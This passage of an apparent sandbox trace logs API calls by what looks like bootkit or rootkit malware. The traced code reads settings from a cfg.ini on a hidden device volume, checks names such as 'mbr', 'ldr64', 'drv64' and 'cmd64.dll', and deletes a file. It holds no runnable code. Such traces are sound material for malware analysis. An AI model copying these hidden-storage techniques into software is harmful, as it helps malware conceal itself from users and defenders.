_Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.280] KeEnterCriticalRegion () [0123.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.280] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] KeLeaveCriticalRegion () [0123.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.280] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.280] KeEnterCriticalRegion () [0123.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] ExFreePoolWithTag (P=0xfffffa8003bebfb0, Tag=0x0) [0123.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] KeLeaveCriticalRegion () [0123.280] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.280] ReleaseMutex (hMutex=0xf0) returned 1 [0123.280] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.280] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.280] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.280] KeEnterCriticalRegion () [0123.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.280] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.280] IdePortDispatch () returned 0x103 [0123.280] KeWaitForMutexObject () returned 0x0 [0123.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.281] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.281] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.281] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.281] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.281] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea340 [0123.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.281] KeLeaveCriticalRegion () [0123.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.281] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.281] KeEnterCriticalRegion () [0123.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.281] KeLeaveCriticalRegion () [0123.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.281] KeEnterCriticalRegion () [0123.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.281] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.281] IdePortDispatch () returned 0x103 [0123.281] KeWaitForMutexObject () returned 0x0 [0123.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.281] KeLeaveCriticalRegion () [0123.281] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.281] KeEnterCriticalRegion () [0123.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.282] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003403000 [0123.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.282] IdePortDispatch () returned 0x103 [0123.282] KeWaitForMutexObject () returned 0x0 [0123.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.282] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.282] IdePortDispatch () returned 0x103 [0123.282] KeWaitForMutexObject () returned 0x0 [0123.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.282] KeLeaveCriticalRegion () [0123.282] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.283] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.283] KeEnterCriticalRegion () [0123.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] KeLeaveCriticalRegion () [0123.283] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.283] KeEnterCriticalRegion () [0123.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.283] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] KeLeaveCriticalRegion () [0123.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.283] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.283] KeEnterCriticalRegion () [0123.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] ExFreePoolWithTag (P=0xfffffa8003bea340, Tag=0x0) [0123.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] KeLeaveCriticalRegion () [0123.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.283] ReleaseMutex (hMutex=0xf0) returned 1 [0123.283] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.283] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.283] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.283] KeEnterCriticalRegion () [0123.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.283] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.283] IdePortDispatch () returned 0x103 [0123.283] KeWaitForMutexObject () returned 0x0 [0123.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.284] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.284] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.284] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.284] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.284] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] KeLeaveCriticalRegion () [0123.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.284] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.284] KeEnterCriticalRegion () [0123.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] KeLeaveCriticalRegion () [0123.284] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.284] KeEnterCriticalRegion () [0123.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.284] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.284] IdePortDispatch () returned 0x103 [0123.284] KeWaitForMutexObject () returned 0x0 [0123.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] KeLeaveCriticalRegion () [0123.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.284] KeEnterCriticalRegion () [0123.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003404000 [0123.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.285] IdePortDispatch () returned 0x103 [0123.285] KeWaitForMutexObject () returned 0x0 [0123.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.285] IdePortDispatch () returned 0x103 [0123.285] KeWaitForMutexObject () returned 0x0 [0123.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.285] KeLeaveCriticalRegion () [0123.285] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.286] KeEnterCriticalRegion () [0123.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] KeLeaveCriticalRegion () [0123.286] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.286] KeEnterCriticalRegion () [0123.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.286] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] KeLeaveCriticalRegion () [0123.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.286] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.286] KeEnterCriticalRegion () [0123.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] KeLeaveCriticalRegion () [0123.286] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.286] ReleaseMutex (hMutex=0xf0) returned 1 [0123.286] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.286] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.286] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.286] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.286] KeEnterCriticalRegion () [0123.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.286] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.286] IdePortDispatch () returned 0x103 [0123.287] KeWaitForMutexObject () returned 0x0 [0123.289] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.289] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.289] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.289] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.289] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.289] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.289] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.289] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.289] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.289] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.289] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.289] KeLeaveCriticalRegion () [0123.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.289] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.289] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.289] KeEnterCriticalRegion () [0123.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.289] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.289] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.289] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.289] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.289] IdePortDispatch () returned 0x103 [0123.289] KeWaitForMutexObject () returned 0x0 [0123.290] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.290] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.290] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.290] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.290] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.290] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.290] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.290] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.290] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.290] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.290] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.290] KeLeaveCriticalRegion () [0123.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.290] ReleaseMutex (hMutex=0x100) returned 1 [0123.290] Sleep (dwMilliseconds=0x2bf20) [0123.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cb08bd0, dwHighDateTime=0x1d24fa4)) [0123.296] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.296] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.296] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.296] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.296] KeEnterCriticalRegion () [0123.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.296] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.296] IdePortDispatch () returned 0x103 [0123.296] KeWaitForMutexObject () returned 0x0 [0123.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] KeLeaveCriticalRegion () [0123.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.297] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.297] KeEnterCriticalRegion () [0123.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] KeLeaveCriticalRegion () [0123.297] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.297] KeEnterCriticalRegion () [0123.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.297] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | 